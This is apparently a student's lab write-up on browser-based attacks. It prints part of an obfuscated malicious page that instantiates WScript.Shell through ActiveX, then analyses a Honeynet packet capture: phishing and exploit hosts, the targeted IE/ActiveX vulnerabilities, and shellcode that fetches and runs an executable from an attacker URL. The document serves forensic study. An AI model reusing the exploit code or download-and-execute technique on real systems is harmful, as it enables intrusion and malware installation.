6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}' 	,null);	

while(t[i])	  
{
	var a=null;
	if(t[i].substring(0,1)=='{')
	{
		a=document.createElement("object"); 
		a.setAttribute("cl"+ "as"+"sid","cl"+"s"+"id" +":"+ t[i].substring(1,t[i].length-1 ));
	}
	else	
	{
		try	  {
			a=new ActiveXObject(t[i]);
		}	 		
		catch(e){}
	}	
	if (a)		 
	{ 	 						
		try {
			var b=bDtWtmhwERC(a ,"W"+"Sc"+ "ri"+"pt"+ ".S" +"he" + "ll"	);	
			if(b)
			{   
				CkziPkDEVvzcUK(a); 	
				return(0);	 
			} 
			}
		catch(e){}		
	}	  
	i++;
	}
}
</script>
</head>
<body onload="SmerREcbuXkUCwZbRyMEEfsRDDQRTeK()">
kHNbbdThGhM 	  	
<div style="position: absolute; display: none; z-index: 9999;" id="livemargins_control">
	<img src="0AYHSwSEujCe_files/monitor-background-horizontal.png" style="position: absolute; left: -77px; top: -5px;" width="77" height="5">	
	<img src="0AYHSwSEujCe_files/monitor-background-vertical.png" style="position: absolute; left: 0pt; top: -5px;">	
	<img id="monitor-play-button" src="0AYHSwSEujCe_files/monitor-play-button.png" onmouseover="this.style.opacity=1" onmouseout="this.style.opacity=0.5" style="position: absolute; left: 1px; top: 0pt; opacity: 0.5; cursor: pointer;">
</div>
</body>
</html>

仔细阅读上述代码,可以发现可疑之处, 使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件LJEXNxXQoQ.exe,猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字不一样。
打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件。

此外,仔细观察js代码可以发现一个很长的数组,数组内容为' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36 } ', ' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30 } '等等,通过搜索发现与网页木马有关

2.4 Web浏览器遭遇攻击、取证分析

  • 任务:通过分析给的网络记录文件,回答下列问题:

    • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
    • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
    • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
    • 请给出攻击者执行攻击动作的概要描述。
    • 攻击者引入了哪些技巧带来了困难。
    • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
    • shellcode执行了哪些操作?比较他们之间MD5的差异?
    • 在攻击场景中有二进制可执行代码参与吗?目的是什么?
  • 步骤
    列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
    首先apt-get isntall chaoreader安装chaosreader
    然后用chaosreader -r suspicious-time.pcap打开suspicious-time.pcap文件
    可以看到结果有HTTP、ICMP、netbios等协议


使用cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr命令,并在Wireshark中查看,可以判断,攻击不是针对ICMP, Bootps, Netbios 或者 DNS 协议,应该是针对HTTP协议的。

列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
使用命令

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u

命令搜索有哪些IP地址和域名在进行攻击。

网址 IP 描述
rapidshare.com.eyu32.ru 192.168.56.50 攻击者可以利用它来仿冒用户的凭据
sploitme.com.cn 192.168.56.52 不存在,名字就意味着恶意
shop.honeynet.sg 192.168.56.51 看起来像一个知名网站的购物网站服务器

使用命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u筛选出 NBNS 协议,我们知道 NBNS 协议的作用是基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称。

这四个不同 ip 地址的主机分别映射的主机名是相同的
使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u

这四个 ip 地址的主机在同一个工作组
而通过 arp 协议筛选我们可以发现,这四个 ip 地址所对应的 mac 地址是不同的

通过上述分析,可以推断这四台主机相同的(或者克隆的),但具有四个网卡,那么攻击场景的环境应该是在 VM 环境中。
具体如下:服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2(DHCP 服务和网关),192.168.1.1(DNS 服务)。
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15。
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51(“shop.honeynet.sg”)。
攻击者:192.168.56.52( “sploitme.com.cn”)。

列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的
JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。

找到session_0007.part_02.html,发现 404 NotFound 了

根据资料提示再查看session_0032.part_01.html,会提示网站受损。

请给出攻击者执行攻击动作的概要描述。
攻击者将恶意 javascript 代码注入指向sploitme.com.cn/?click=X的隐藏iframe。当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(数据包63、174、366)。然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,恶意软件访问www.honeynet.org。

攻击者引入了哪些技巧带来了困难?

攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?

  • Mdac : WScript.Shell - MS06-014

  • Aolwinamp: IWinAmpActiveX.ConvertFile

  • Directshow: msvidctl.dll - MS09-032 - MS09-037

  • Snapshot: MSOfficeSnapshotViewer - MS08-04

  • Com: 'msdds.dll' COM Object - MS05-052

  • Spreadsheet: OWC10.Spreadsheet - MS09-43

shellcode执行了哪些操作?比较他们之间MD5的差异?
Shellcode的执行过程:Shellcode获取系统临时文件路径,加载urlmon.dll,从URLhttp://sploitme.com.cn/fg/load.php?e=1检索可执行文件并执行。Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
有。目的是在受害者主机上通过 Internet Explorer 加载 www.honeynet.org

3.学习中遇到的问题及解决

  • 问题1:没有找到FreShow工具
  • 问题1解决方案:本来以为winxp虚拟机自带,后来自己下了个,不过提示磁盘空间不足,得清理下。

4.实践总结

本次实验难度真的挺大,第一个实验和第三个实验还好,之前有做过类似的实验,但第二第四很蒙圈,幸亏有老师的给的指导书和视频,然后借鉴大佬的博客,完成本次作业。

参考资料

posted on 2020-05-20 22:48  刘北圣  阅读(723)  评论(0编辑  收藏  举报